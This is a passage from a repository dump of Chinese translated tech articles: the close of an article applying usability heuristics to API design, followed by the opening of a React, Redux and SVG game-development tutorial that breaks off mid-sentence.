应当保持简单，只包含当时和用户相关的信息。不相关或很少使用的信息应当被删除或者移到其它屏幕，因为它们的存在使用户分心，并且减少了相关信息的重要性。\n\n![](https://cdn-images-1.medium.com/max/800/1*HBsvBFRg_ueZvG5Qfmk3ZA.png)\n\n[Pocket Casts](https://play.google.com/store/apps/details?id=au.com.shiftyjelly.pocketcasts&hl=en_GB) app 使用极简设计\n\n这个播客 app 的集列表页面显示最少量的，和上下文相关的信息：如果用户没有下载某集，这一集的大小和下载页面是可见的；如果用户已经下载，就可以见到时长和播放按钮。同时，对于那些好奇的用户而言，详情页面包含所有这些信息，并且不止于此。\n\n**API:** 用户们有一个目标：用你的 API 更快解决问题。所以把它们的路径做得尽可能短和直接。\n\n#### 不要暴露内部 API 逻辑\n\n**API:** 不必要地暴露 API 内部逻辑会让你的用户困惑，并降低你的 API 的可用性。不要暴露不必要的方法和类。\n\n#### 不要让用户做任何 API 能够做的事情\n\n**API:** 从 22.1.0 开始，Android Support Library 提供 `RecyclerView` 相关的一系列对象，使用户可以基于频繁改变的大型数据集创建 UI 元素。当列表改变时，`RecyclerView.Adapter` 需要被通知哪些数据被更新了。这使得开发者创造他们自己的用于比较列表的方法。在 25.1.0 版本的 Support Library, 这类反复出现的代码被 `[DiffUtil](https://developer.android.com/reference/android/support/v7/util/DiffUtil.html)` 类极大简化了。而且，`DiffUtil` 使用经过优化的算法，减少你需要写的代码量并且增强性能。\n\n### 9. 帮助用户识别、诊断并摆脱错误\n\n**UI:** 向你的用户提供有助于识别、诊断并摆脱错误的错误信息。好的错误信息明确指出有东西出错了，使用礼貌而易读的语言准确描述问题，包含有助于解决问题的建议。避免显示状态码或者异常类名称，用户不会知道如何处理这些信息的。\n\n![](https://cdn-images-1.medium.com/max/800/1*oJ8PMLg3ayTfHR7dOFvGEA.png)\n\n创建事件时的错误信息。 [来源](https://material.io/guidelines/patterns/errors.html#errors-user-input-errors)\n\n在输入区域失去焦点时尽快显示错误信息，不要等到用户点击提交表单的按钮。更不要等到服务端传来错误信息。使用 TextView 的[功能](https://developer.android.com/reference/android/widget/TextView.html#setError%28java.lang.CharSequence%29) 来显示错误信息。如果你在创建一个事件表单，你要通过直接给 UI 控件设置限制的方法，防止用户创建发生在过去的事件。\n\n#### 快速失败\n\n**API:** 一个 bug 被报告得越早，它就会造成越少的损失。因此，失败的最好时机就是在编译期。例如，Room 会在编译期报告任何不正确的查询或者类注解。\n\n如果你不能在编译期失败，最好尽快在运行时失败。\n\n#### 异常应当用于指示异常的情况\n\n**API:** 用户不应当使用在控制流中使用异常。异常应当仅用于例外情况，或者 API 的不正确使用。尽可能使用返回值来指示这些情况，因为捕获并处理异常几乎总是比测试返回值要慢。\n\n例如，试图把 `null` 值插入一个有 `NON NULL` 限制的列中，就是一种异常的情况，会抛出 `SQLiteConstraintException`。\n\n#### 抛出具体的异常。尽量使用已有的异常\n\n**API:** 开发者知道 `IllegalStateException` 和 `IllegalArgumentException` 是什么意思，哪怕他们不知道你的 API 中发生了什么。通过抛出已有的异常来帮助你的 API 用户，使用尽量具体而不是笼统的异常，并好好填写错误信息。\n\n在通过 `[createBitmap](https://developer.android.com/reference/android/graphics/Bitmap.html#createBitmap%28android.graphics.Bitmap,%20int,%20int,%20int,%20int%29)` 方法创建 `Bitmap` 时，你需要提供新 bitmap 的宽高等信息。如果你传入小于 0 的值作为参数，这个方法将会抛出 `IllegalArgumentException`。\n\n#### 错误消息应当准确指示问题\n\n**API:** 为 UI 写错误信息的指导原则，也适用于 API。提供细致的错误信息，以帮助用户修复他们的代码。\n\n比如，在 Room 中，如果一个查找在主线程运行，用户将会获得 `java.lang.IllegalStateException: 不能在主线程访问数据库，因为它有可能把 UI 锁住较长的一段时间`。这表明查询被执行时的状态（在主线程）是不合法的。\n\n### 10. 帮助和文档\n\n**UI:** 你的用户应当能够不用文档使用你的应用。对于非常复杂或者领域专门化的 app，这也许是不可能的。所以，如果需要文档，确保它易于寻找、易于使用，并解答了常见的问题。\n\n![](https://cdn-images-1.medium.com/max/800/1*uZnbab0y0Hv44odGp7AblQ.png)\n\n诸如 “帮助” 或者 “发送反馈” 之类的元素通常在导航菜单底部\n\n#### API 应当是自说明的\n\n**API:** 好的方法、类和成员命名使 API 能够阐明自身的意义。但无论 API 多好，没有好的文档就无法被使用。这就是每个 public 的元素——方法，类，域，参数——应当用文档说明的原因。对于你，一个 API 开发者来说简单易见的东西，也许对于你的 API 用户来说就不那么容易和显然了。\n\n#### 示例代码应该是模范代码\n\n**API:** 示例代码有若干用途：他们帮助用户理解 API 的目的，用途，以及上下文。**代码片段** 用于解释如何使用基本的 API 功能。 **教程** 教用户关于 API 特定层面的知识。**代码示例** 是更加复杂的例子，通常是一整个应用。这三者之中，缺少代码示例会引起最严重的问题，因为开发者看不到整体图景——你所有的方法和类是如何协作的，以及它们是如何与系统协作的。\n\n如果你的 API 流行起来了，有可能会有数以千计的开发者使用这些例子。他们将会成为如何使用你的 API 的例子。因此，你犯的每个错误都会让你自食其果。\n\n* * *\n\n这些年，我们学习了很多关于 UI 可用性的知识；我们知道用户们需要什么，以及他们在想什么。他们需要符合直觉、高效、正确的 UI，并且要能帮助他们用合适的方式完成特定任务。这些概念都不止于 UI，还适用于 API，因为开发者也是用户。所以，让我们通过可用的 API 帮助他们（也是帮助我们自己）吧。\n\n> **API应当易用且不易滥用——它应该易于做简单的事，可能做复杂的事，不可能——至少难以——做错误的事** Joshua Bloch — [source](https://dl.acm.org/citation.cfm?id=1176622)\n\n* * *\n\n#### 参考文献\n\n* [10 Usability Heuristics for User Interface Design](https://www.nngroup.com/articles/ten-usability-heuristics/)\n* [http://www.apiusability.org/](http://www.apiusability.org/)\n* Myers, B. A., & Stylos, J. (2016). Improving API usability. _Communications of the ACM_, 59(6), 62–69. [PDF](http://www.cs.cmu.edu/~NatProg/papers/API_Usability_Article_submitted.pdf)\n* Bloch, J. (2006). How to design a good API and why it matters. _Companion to the 21st ACM SIGPLAN symposium on Object-oriented programming systems, languages, and applications_. ACM. [PDF](https://dl.acm.org/citation.cfm?id=1176622)\n* Ellis, B., Stylos, J., & Myers, B. (2007). The factory pattern in API design: A usability evaluation. _Proceedings of the 29th international conference on Software Engineering_. IEEE Computer Society. [PDF](https://www.cs.cmu.edu/afs/cs.cmu.edu/Web/People/NatProg/papers/Ellis2007FactoryUsability.pdf)\n* Robillard, M. P. (2009). What makes APIs hard to learn? Answers from developers. _Software, IEEE_, _26_(6), 27–34. [PDF](http://cs.mcgill.ca/~martin/papers/software2009a.pdf)\n* Scheller, T., & Kühn, E. (2015). Automated measurement of API usability: The API Concepts Framework. _Information and Software Technology_, _61_, 145–162. [PDF](http://www.researchgate.net/profile/Eva_Kuehn/publication/272027830_Automated_measurement_of_API_usability_The_API_Concepts_Framework/links/55056eff0cf24cee3a047a21.pdf)\n* [Preventing User Errors: Avoiding Conscious Mistakes](https://www.nngroup.com/articles/user-mistakes/)\n* [Error Message Guidelines](https://www.nngroup.com/articles/error-message-guidelines/)\n* [Material Design Patterns and Guidelines](https://material.io/)\n\n感谢 [Nick Butcher](https://medium.com/@crafty?source=post_page) 和 [Tao Dong](https://medium.com/@taodong?source=post_page).\n\n\n---\n\n> [掘金翻译计划](https://github.com/xitu/gold-miner) 是一个翻译优质互联网技术文章的社区，文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](https://github.com/xitu/gold-miner#android)、[iOS](https://github.com/xitu/gold-miner#ios)、[前端](https://github.com/xitu/gold-miner#前端)、[后端](https://github.com/xitu/gold-miner#后端)、[区块链](https://github.com/xitu/gold-miner#区块链)、[产品](https://github.com/xitu/gold-miner#产品)、[设计](https://github.com/xitu/gold-miner#设计)、[人工智能](https://github.com/xitu/gold-miner#人工智能)等领域，想要查看更多优质译文请持续关注 [掘金翻译计划](https://github.com/xitu/gold-miner)、[官方微博](http://weibo.com/juejinfanyi)、[知乎专栏](https://zhuanlan.zhihu.com/juejinfanyi)。\n"
  },
  {
    "path": "TODO/developing-games-with-react-redux-and-svg-part-1.md",
    "content": "> * 原文地址：[Developing Games with React, Redux, and SVG - Part 1](https://auth0.com/blog/developing-games-with-react-redux-and-svg-part-1/?utm_source=mybridge&utm_medium=blog&utm_campaign=read_more)\n> * 原文作者：[Bruno Krebs](https://twitter.com/brunoskrebs)\n> * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n> * 本文永久链接：[https://github.com/xitu/gold-miner/blob/master/TODO/developing-games-with-react-redux-and-svg-part-1.md](https://github.com/xitu/gold-miner/blob/master/TODO/developing-games-with-react-redux-and-svg-part-1.md)\n> * 译者：[zephyrJS](https://github.com/zephyrJS)\n> * 校对者：[allenlongbaobao](https://github.com/allenlongbaobao)、[dandyxu](https://github.com/dandyxu)\n\n# 使用 React、Redux 和 SVG 开发游戏 — Part 1\n\n**TL;DR:** 在这个系列里，您将学会用 React 和 Redux 来控制一些 SVG 元素来创建一个游戏。通过本系列的学习，您不仅能创建游戏，还能用 React 和 Redux 来开发其他类型的动画。您可以在这个 GitHub 仓库: [Aliens Go Home - Part 1](https://github.com/auth0-blog/aliens-go-home-part-1) 下找到最终的开发代码。\n\n* * *\n\n## React 游戏：Aliens, Go Home!\n\n在这个系列里您将要开发的游戏叫做 **Aliens, Go Home!** 这个游戏的想法很简单，您将拥有一座炮台，然后您必须消灭那些试图入侵地球的飞碟。为了消灭这些飞碟，您必须在 SVG 画布上通过瞄准和点击来操作炮台的射击。\n\n如果您很好奇, 您可以找到 [这个游戏最终运行版](http://bang-bang.digituz.com.br/)。但别太沉迷其中，您还要完成它的开发。\n\n## 准备工作\n\n作为学习这个系列的先决条件，您将需要一些 web 开发的知识 (主要是 JavaScript) 和一台 [安装了Node.js and NPM](https://nodejs.org/en/download/) 的电脑。您可以在没有很深的 JavaScript 编程语言知识，甚至不知晓 React、Redux 和 SVG 是如何工作的情况下学习本系列的内容。但是，如果您具备这些，您将花更少的时间来领会不同的主题以及它们是如何组合在一起的。\n\n然而，更值得关注的是本系列包含的相关文章、帖子和文档，它们为主题提供了更好的补充说明。\n\n## 开始之前\n\n尽管前面没有提到 [Git](https://git-scm.com/)，但它确实是一个很好的开发工具。所有专业的开发者都会用 Git (或者其他的版本控制系统比如 Mercurial 或 SVN) 来开发，甚至是用于个人的业余项目。\n\n为什么您创建了一个项目却不去备份它？您甚至不必付费就可以使用。因为您用了类似 [GitHub](https://github.com/) (最佳选择！) 或 [BitBucket](https://bitbucket.org/) (老实说并不差) 的服务并且将您的代码保存在值得信赖的云服务器上。\n\n除了确保您的代码安全之外，这些工具还有助于您把握项目开发的进度。例如，如果您正在使用 Git 而且您的 app 的新版本刚好有一些 bug，只需几行命令，就能轻松回滚到之前写的代码。\n\n另一个重要的好处是您可以为这个系列的任何一部分来提交代码。就像这样，您将 [轻松地看到这些部分的修改建议](https://git-scm.com/docs/git-diff)，通过本教程的学习，您的生活将变得更轻松。\n\n所以，快给您自己安装个 Git 吧。另外，在 GitHub 上创建一个账号 (如果您还没有 GitHub 账户) 并且把您的项目保存到仓库里。然后，每完成一部分，就把修改提交到这个仓库上。噢，可别忘了 [push 这个操作啊](https://help.github.com/articles/pushing-to-a-remote/)。\n\n## 用 Create-React-App 来开始一个 React 项目\n\n首先您要用 `create-react-app` 来引导您创建一个 React、Redux 和 SVG 的游戏项目。您可能了解过它 (如果不知道也没关系)，[`create-react-app` 是一个由 Facebook 持有的开源工具，它帮助开发者快速的开始他的 React 项目](https://github.com/facebookincubator/create-react-app)。需要安装 Node.js 和 NPM 到本地 (5.2 或以上版本), 您甚至不用安装 `create-react-app` 就能使用它：\n\n```Bash\n# using npx will download (if needed)\n# create-react-app and execute it\nnpx create-react-app aliens-go-home\n\n# change directory to the new project\ncd aliens-go-home\n```\n\n该工具将创建类似下面的目录结构：\n\n```Bash\n|- node_modules\n|- public\n  |- favicon.ico\n  |- index.html\n  |- manifest.json\n|- src\n  |- App.css\n  |- App.js\n  |- App.test.js\n  |- index.css\n  |- index.js\n  |- logo.svg\n  |- registerServiceWorker.js\n|- .gitignore\n|- package.json\n|- package-lock.json\n|- README.md\n```\n\n`create-react-app` 是非常热门的，它有着完善的文档和社区支持。例如，如果您想要了解它细节，您可以查看 [`create-react-app` 官方的 GitHub 仓库](https://github.com/facebook/create-react-app) 以及 [他的使用指南](https://github.com/facebook/create-react-app#user-guide)。\n\n现在，您会想把您不需要的文件删掉。例如，您可以处理如下文件：\n\n*   `App.css`：`App` 是一个很重要的组件但是他的样式定义需要交给其他组件来处理；\n*   `App.test.js`：测试的内容会在其他的文章里提到，现在您还不需要用到它；\n*   `logo.svg`：这个游戏里您不会用到 React 的 logo；\n\n删除这些文件后，如果您执行这个项目它很可能会报错。但您只需要删除 `./src/App.js` 文件里引用的两句话就能轻松解决：\n\n```JavaScript\n// remove both lines from ./src/App.js\nimport logo from './logo.svg';\nimport './App.css';\n```\n\n然后重构下 `render()` 方法：\n\n```JavaScript\n// ... import statement and class definition\nrender() {\n  return (\n    <div className=\"App\">\n      <h1>We will create an awesome game with React, Redux, and SVG!</h1>\n    </div>\n  );\n}\n\n// ... closing bracket and export statement\n```\n\n> **千万别忘了** 提交您的文件到 Git 上！\n\n## 安装 Redux 和 PropTypes\n\n在启动了 React 项目并删掉了一些没用的文件之后，您将安装和配置 [Redux](https://redux.js.org/) 来使它成为 [您应用程序的唯一数据源](https://redux.js.org/docs/introduction/ThreePrinciples.html#single-source-of-truth). 您也需要安装 [PropTypes](https://github.com/facebook/prop-types)，[这个工具将帮助您避免常见的错误](https://reactjs.org/docs/typechecking-with-proptypes.html)。两个工具可以用一行命令来安装：\n\n```Bash\nnpm i redux react-redux prop-types\n```\n\n如您所见，这行命令包含了第三个 NPM 包：`react-redux`。尽管您可以直接在 React 里面使用 Redux，但它不是最佳选择。[`react-redux` 对我们原本需要繁琐手动处理的性能优化有所帮助](https://redux.js.org/docs/basics/UsageWithReact.html)。\n\n### 配置 Redux 和使用 PropTypes\n\n有了这些包，您就能在您的应用里配置和使用 Redux 了。这个过程很简单，您将需要创建一个 **container** 组件，一个 **presentational** 组件，以及一个 **reducer**。容器组件和视图组件的区别在于，首先需要将视图组件 `连接` 到 Redux。reducer 是您将要创建的第三个组件，它是 Redux store 里的核心组件。这类组件主要用于当您的应用触发事件后来获取对应的 **actions** 并根据这些 actions 来调用关联的函数去修改相应的状态。\n\n> 如果您对这些概念还不熟悉，您可以阅读 [这篇文章来更好的理解视图组件和容器组件](https://medium.com/@dan_abramov/smart-and-dumb-components-7ca2f9a7c7d0) 以及通过 [这篇 Redux 使用教程来学习关于 **actions**、**reducers**、和 **store** 的概念](https://auth0.com/blog/redux-practical-tutorial/). 尽管学会这些概念是很值得推荐的，但即使都不懂您也能无障碍地学习本系列的教程。\n\n您最好先创建 reducer 来开始您的项目，因为它不依赖其它资源（事实上，正好相反）。为了把它们组合起来，您需要在 `src` 目录里面创建一个叫做 `reducers` 的新目录，然后往里面添加一个 `index.js` 文件。这个文件包含的源码如下：\n\n```JavaScript\nconst initialState = {\n  message: `It's easy to integrate React and Redux, isn't it?`,\n};\n\nfunction reducer(state = initialState) {\n  return state;\n}\n\nexport default reducer;\n```\n\n现在，您的 reducer 将简单地初始化一个叫 `message` 的应用状态，它将很容易的集成到 React 和 Redux 中。紧接着，您将定义 actions 并在文件中操作它们。\n\n然后，您可以重构您的应用来向用户展示这个 message。此刻是您安装并使用 `prop-types` 的好时机。为此, 您需要打开 `./src/App.js` 文件并替换成如下内容：\n\n```JavaScript\nimport React, {Component} from 'react';\nimport PropTypes from 'prop-types';\n\nclass App extends Component {\n  render() {\n    return (\n      <div className=\"App\">\n        <h1>{this.props.message}</h1>\n      </div>\n    );\n  }\n}\n\nApp.propTypes = {\n  message: PropTypes.string.isRequired,\n};\n\nexport default App;\n```\n\n如您所见，用 `prop-types` 定义您组件所期望的类型是轻而易举的。您只需要用相应的 `props` 来定义组件的 `propTypes` 属性。网上总结了一些关于 propTypes 的基础和高级的用法的备忘录（例如 [这个](https://lzone.de/cheat-sheet/React%20PropTypes)、[这个](https://reactcheatsheet.com/)、还有[这个](https://devhints.io/react)）。如果需要，就去看看吧。\n\n尽管您定义了需要渲染的 `App` 组件以及用 Redux store 初始化了 state，您仍然需要某种方法把组件组合在一起。这时候 **container** 组件登场了。用一种用组织的方式来定义您的 container，您将在 `src` 目录里创建一个 `containers` 目录。然后，您就可以在新目录下的 `Game.js` 里面创建一个叫 `Game` 的容器。这个组件将使用 `react-redux` 的 `connect` 方法并往 `App` 组件的 `message` 属性中传入 `state.message` 的值：\n\n```JavaScript\nimport { connect } from 'react-redux';\n\nimport App from '../App';\n\nconst mapStateToProps = state => ({\n  message: state.message,\n});\n\nconst Game = connect(\n  mapStateToProps,\n)(App);\n\nexport default Game;\n```\n\n快大功告成了。最后一步是重构 `./src/index.js` 来把它们组织在一起，我们通过初始化 Redux store 和把它传进 `Game` 容器（该容器将获取 `message` 并把它传给 `App`）来完成这一步。下面就是 `./src/index.js` 文件重构后的代码：\n\n```JavaScript\nimport React from 'react';\nimport ReactDOM from 'react-dom';\nimport { Provider } from 'react-redux';\nimport { createStore } from 'redux';\nimport './index.css';\nimport Game from './containers/Game';\nimport reducer from './reducers';\nimport registerServiceWorker from './registerServiceWorker';\n\n/* eslint-disable no-underscore-dangle */\nconst store = createStore(\n    reducer, /* preloadedState, */\n    window.__REDUX_DEVTOOLS_EXTENSION__ && window.__REDUX_DEVTOOLS_EXTENSION__(),\n);\n/* eslint-enable */\n\nReactDOM.render(\n    <Provider store={store}>\n        <Game />\n    </Provider>,\n    document.getElementById('root'),\n);\nregisterServiceWorker();\n```\n\n搞定！现在您可以到项目的根目录运行 `npm start` 来看看是否一切正常。这将在开发模式中运行您的应用程序并在默认浏览器中打开它。\n\n> [“集成 React 和 Redux 是非常容易的。”  在这里 tweet 我们 ![](https://cdn.auth0.com/blog/resources/twitter.svg)](https://twitter.com/intent/tweet?text=\"It%27s+easy+to+integrate+React+and+Redux.\"%20via%20@auth0%20http://auth0.com/blog/developing-games-with-react-redux-and-svg-part-1/)\n\n## 用 React 创建 SVG 组件\n\n在这个系列您将看到，用 React 创建 SVG 组件是非常轻松的事。事实上，用 HTML 和 SVG 创建 React 组件几乎没有区别。基本上，唯一的区别就是 SVG 引入了一些新的元素，而这些元素都是在 SVG 上绘制的。\n\n话虽如此，在用 SVG 和 React 创建组件之前，简单了解下 SVG 还是很有帮助的。\n\n### SVG 简介\n\nSVG 是最酷和最灵活的 web 标准之一。SVG 是可伸缩矢量图形 (Scalable Vector Graphics) 标准，它是一种标记语言，允许开发人员绘制二维的矢量图形。它与 HTML 非常相似。这两种技术都是基于 XML 标记语言，可以很好地与 CSS 和 DOM 等其他 Web 标准兼容。这意味着您可以将 CSS 规则应用于 SVG 元素，就像您对 HTML 元素 (包括动画) 所做的那样。\n\n在本系列教程里，您将用 React 创建许多 SVG 组件。您甚至将组合（填充）SVG 元素到您的 game 元素里(就像往大炮里填充炮弹一样)。\n\n关于 SVG 详尽的介绍并不在本系列的探讨访问之内，它将使本文过于冗长。所以，如果您想学习关于 SVG 标记语言更详尽的内容，您可以去查看 [Mozilla 提供的 **SVG 教程**](https://developer.mozilla.org/en-US/docs/Web/SVG/Tutorial) 以及在 [这篇文章中了解关于 SVG 坐标系的内容](https://www.sarasoueidan.com/blog/svg-coordinate-systems/)。\n\n但是，在开始创建组件之前，您需要了解一些关于 SVG 的重要特性。首先，开发者可以将 SVG 和 DOM 组合在一起来实现某些令人兴奋的功能。我们可以很轻松地把 React 和 SVG 结合起来。\n\n其次，SVG 坐标系跟笛卡尔平面非常相似，但却是上下颠倒的。那意味着在 x 轴上方(y 轴上半轴)默认是负值。另一方面，横坐标的值跟笛卡尔平面一样（即负值显示在 y 轴的左侧）。这些行为很容易通过 [在 SVG 的画布里转化](https://developer.mozilla.org/en-US/docs/Web/SVG/Attribute/transform) 来修改。但是，为了不使其它的开发人员感到困惑，最好还是使用默认的方式。您将很快习惯它的用法。\n\n第三也是最后一件事，您需要知道 SVG 引入了许多的新元素（例如 `circle`、`rect`、和 `path`）。 要使用这些元素，不能简单地在 HTML 元素中定义它们。首先, 您必须在您想要绘制的 SVG 组件里定义一个 svg 元素（画布）。\n\n### SVG，Path 元素和三次贝塞尔曲线\n\n使用 SVG 绘制元素可以通过三种方式完成。首先，您可以使用像 `rect`，`circle` 和 `line` 这些元素。尽管它们用起来不怎么方便。顾名思义，它们只能让您绘制一些简单的图形。\n\n第二种方式是把它们组合成更为复杂的图形。例如，您可以用一个等边的 `矩形`（正方形）和两条直线组合成一个房子。但是这种做法仍然有局限性。\n\n使用 [`path` 元素](https://developer.mozilla.org/en-US/docs/Web/SVG/Tutorial/Paths) 是更加灵活的第三者方式。这种元素允许开发者创建更加复杂的图形。它接受一组命令来指导浏览器绘制绘制图形。例如，要绘制一个 'L'，您可以创建一个 `path` 元素，其中包含三个命令：\n\n1.  `M 20 20`: `M` 是移动的意思，这个命令让浏览器的 `画笔` 移动到指定的 X 和 Y 坐标（即 `20, 20`）；\n2.  `V 80`: 这个命令让浏览器绘制一条从上一个点到 `80` 的平行于 y 轴的垂直线；\n3.  `H 50`: 这个命令让浏览器绘制一条从上一个点到 `50` 的平行于 x 轴的水平线；\n\n```JavaScript\n<svg>\n  <path d=\"M 20 20 V 80 H 50\" stroke=\"black\" stroke-width=\"2\" fill=\"transparent\" />\n</svg>\n```\n\n`path` 元素接受许多其他命令。其中，最重要的命令之一就是 [三次贝塞尔曲线命令](https://developer.mozilla.org/en-US/docs/Web/SVG/Tutorial/Paths#Bezier_Curves). 此命令允许您在路径中添加一些平滑曲线，方法是获取两个参考点和两个控制点。\n\nMozilla 教程介绍了三次贝塞尔曲线在 SVG 上是如何工作的：\n\n> **”三次贝塞尔曲线的每个点都有两个控制点来控制。因此，为了创建三次贝塞尔曲线，您需要定义三组坐标。最后一组坐标表示曲线的终点。另外两组是控制点。[...]。控制点实际上描述的是曲线起始点的斜率。Bezier 函数创建一个平滑曲线，描述了从起点斜率到终点斜率的渐变过程“** —[Mozilla 开发者网络](https://developer.mozilla.org/en-US/docs/Web/SVG/Tutorial/Paths#Bezier_Curves)\n\n例如，绘制一个 “U”，您可以按照如下步骤执行：\n\n```JavaScrpt\n<svg>\n  <path d=\"M 20 20 C 20 110, 110 110, 110 20\" stroke=\"black\" fill=\"transparent\"/>\n</svg>\n```\n\n在这个例子里，传递给 `path` 元素的指令告诉浏览器需要执行以下步骤：\n\n1.  先绘制一个坐标点 `20, 20`；\n2.  第一个控制点的坐标是 `20, 110`；\n3.  接着第二个控制点的坐标是 `110, 110`；\n4.  结束曲线的终点坐标是 `110 20`；\n\n如果您仍然不知道三次贝塞尔曲线是如何工作的，也不用担心。在本系列教程里，有将会有机会来练习它的。除此之外，您还可以在网上找到许多关于这个特性的教程而且您也可以通过类似 [JSFiddle](https://jsfiddle.net/) 和 [Codepen](https://codepen.io/) 这类工具来练习它。\n\n### 创建 Canvas 组件\n\n既然您的项目已经结构化，并且您已经了解了 SVG 的基本知识，那么是时候开始创建您的游戏了。您需要创建的第一个元素是 SVG 画布，您将使用它来绘制游戏的元素。\n\n这是一个视图组件。因此，您可以在 `./src` 目录下创建一个名为 `Component` 目录，用来保存和它类似的组件。您的动画都将在上面绘制，叫 `Canvas` 是在自然不过的事了。因此，在 `./src/components/` 目录下创建 `Canvas.jsx` 文件并添加如下代码：\n\n```JavaScript\nimport React from 'react';\n\nconst Canvas = () => {\n  const style = {\n    border: '1px solid black',\n  };\n  return (\n    <svg\n      id=\"aliens-go-home-canvas\"\n      preserveAspectRatio=\"xMaxYMax none\"\n      style={style}\n    >\n      <circle cx={0} cy={0} r={50} />\n    </svg>\n  );\n};\n\nexport default Canvas;\n```\n\n有了这个文件后，您将重构您的 `App` 组件来使用 `Canvas`：\n\n```JavaScript\nimport React, {Component} from 'react';\nimport Canvas from './components/Canvas';\n\nclass App extends Component {\n  render() {\n    return (\n      <Canvas />\n    );\n  }\n}\n\nexport default App;\n```\n\n如果您运行了（`npm start`）命令并查看了您的应用，您将看到浏览器只绘制了圆的四分之一。这是因为坐标系原点默认在窗口的左上角。另外，您也会看到 `svg` 并没有占满整个屏幕。\n\n为了便于管理，您最好将画布填充满整个屏幕。您也会希望重新定位它的原点，使其位于 X 轴的中心，并且靠近底部（一会您就会把您的炮台放在原点上）。同时，您需要修改这两个文件：`./src/components/Canvas.jsx` 和 `./src/index.css`。\n\n您可以把 `Canva` 组件的内容替换成如下代码：\n\n```JavaScript\nimport React from 'react';\n\nconst Canvas = () => {\n  const viewBox = [window.innerWidth / -2, 100 - window.innerHeight, window.innerWidth, window.innerHeight];\n  return (\n    <svg\n      id=\"aliens-go-home-canvas\"\n      preserveAspectRatio=\"xMaxYMax none\"\n      viewBox={viewBox}\n    >\n      <circle cx={0} cy={0} r={50} />\n    </svg>\n  );\n};\n\nexport default Canvas;\n```\n\n在新的版本里，您会为 `svg` 元素定义 [`viewBox` 特性](https://developer.mozilla.org/en-US/docs/Web/SVG/Attribute/viewBox)。此特性的作用是定义画布及其内容必须适合特定容器（在当前的例子里指的是 window/browser）。如您所见，`viewBox` 特性有 4 个参数：\n\n*   `min-x`：这个值定义的是用户看到的最左边的点。因此，要使 y 轴（和圆）出现在屏幕中心，可以将屏幕宽度除以负 2（`window.innerWidth/-2`），来得到这个属性（`min-x`）。注意您要使用 `-2` 来平分原点左（负）右（正）两边的数值。\n*   `min-y`：这个值定义了您画布最上边的点。这里，您通过 `100` 减去 `window.innerHeight` 来给 Y 原点之后空出了一些区域(`100` 点)。\n*   `width` 和 `height`：这些值定义了用户将在屏幕上看到多少个 X 和 Y 坐标。\n\n除了定义 `viewBox` 特性，您也可以在新版本里定义 [`preserveAspectRatio`](https://developer.mozilla.org/en-US/docs/Web/SVG/Attribute/preserveAspectRatio) 特性。您已经使用了 `xMaxYMax none` 来强制使画布和它的元素进行统一的缩放。\n\n重构您的画布之后，您需要在 `./src/index.css` 文件中添加如下规则：\n\n```CSS\n/* ... body definition ... */\n\nhtml, body {\n  overflow: hidden;\n  height: 100%;\n}\n```\n\n这将是 `html` 和 `body` 元素隐藏（禁用）滚动。它也将是这些元素占满这个屏幕。\n\n如果您现在查看您的应用，您会看到您的圆正水平居中并位于屏幕底部附近。\n\n### 创建 Sky 组件\n\n在使画布占满整个屏幕并将原点轴重新定位到它的中心之后，是时候创建真正的游戏元素了。您可以先定义一个 sky 组件来作为您的游戏背景。为此，可以在 `./src/Components/` 目录下创建 `Sky.jsx` 文件，代码如下：\n\n```JavaScript\nimport React from 'react';\n\nconst Sky = () => {\n  const skyStyle = {\n    fill: '#30abef',\n  };\n  const skyWidth = 5000;\n  const gameHeight = 1200;\n  return (\n    <rect\n      style={skyStyle}\n      x={skyWidth / -2}\n      y={100 - gameHeight}\n      width={skyWidth}\n      height={gameHeight}\n    />\n  );\n};\n\nexport default Sky;\n```\n\n您可能会感到奇怪为什么要给您的游戏设置如此巨大的区域（宽 `5000` 和高 `1200`）。事实上，宽度在这个游戏中并不重要。您只需要设置可以覆盖任何尺寸的屏幕就够了。\n\n现在，高度是很重要的。很快，无论用户分辨率是多少横屏还是竖屏，您都会把画布高度强制显示为 `1200`。这将给您游戏带来一致地体验，每个用户都将会在同一区域看到您的游戏。像这样，您将会定义飞碟将出现在哪里以及它们将需要多长时间通过这些点。\n\n要想您的画布显示您的新天空，请在编辑器打开 `Canvas.jsx` 并对其进行重构：\n\n```JavaScript\nimport React from 'react';\nimport Sky from './Sky';\n\nconst Canvas = () => {\n  const viewBox = [window.innerWidth / -2, 100 - window.innerHeight, window.innerWidth, window.innerHeight];\n  return (\n    <svg\n      id=\"aliens-go-home-canvas\"\n      preserveAspectRatio=\"xMaxYMax none\"\n      viewBox={viewBox}\n    >\n      <Sky />\n      <circle cx={0} cy={0} r={50} />\n    </svg>\n  );\n};\n\nexport default Canvas;\n```\n\n如果您现在检查您的应用（`npm start`），您将看到您的圆仍在正中央靠近底部的位置，而且您现在有了一个蓝色（`fill: '#30abef'`）的背景。\n\n> **注意：** 如果您将 `Sky` 组件放到 `circle` 组件后面，您将再也看不到后者。这是因为 SVG **并不** 支持 `z-index` 属性。SVG 依赖于所列元素的顺序来决定哪个元素高于另一个元素。也就是说，您必须在 `Sky` 组件之后定义 `Circle` 组件，这样才能让网页浏览器知道必须在蓝色背景之上显示它。\n\n### 创建 Ground 组件\n\n创建完 `Sky` 组件后， 接下来您可以创建 `Ground` 组件。为此，在 `./src/Components/` 目录下创建一个名为 `Cround.js` 的新文件，并添加如下代码：\n\n```JavaScript\nimport React from 'react';\n\nconst Ground = () => {\n  const groundStyle = {\n    fill: '#59a941',\n  };\n  const division = {\n    stroke: '#458232',\n    strokeWidth: '3px',\n  };\n\n  const groundWidth = 5000;\n\n  return (\n    <g id=\"ground\">\n      <rect\n        id=\"ground-2\"\n        data-name=\"ground\"\n        style={groundStyle}\n        x={groundWidth / -2}\n        y={0}\n        width={groundWidth}\n        height={100}\n      />\n      <line\n        x1={groundWidth / -2}\n        y1={0}\n        x2={groundWidth / 2}\n        y2={0}\n        style={division}\n      />\n    </g>\n  );\n};\n\nexport default Ground;\n```\n\n这是一个并不怎么花哨的组件。它只由一个矩形和一条线组成。但是，如您所见，它还是需要一个值为 `5000` 的常量来定义宽度。因此，专门创建一个文件来保存这样的全局常量是一个不错的选择。\n\n就像这样，在 `./src/` 目录下创建一个名为 `utils` 的新目录，紧接着，在这个新目录下创建一个名为 `constants.js` 文件。 现在，您可以往里面添加一个常量：\n\n```JavaScript\n// very wide to provide as full screen feeling\nexport const skyAndGroundWidth = 5000;\n```\n\n之后，您就可以重构您的 `Sky` 组件和 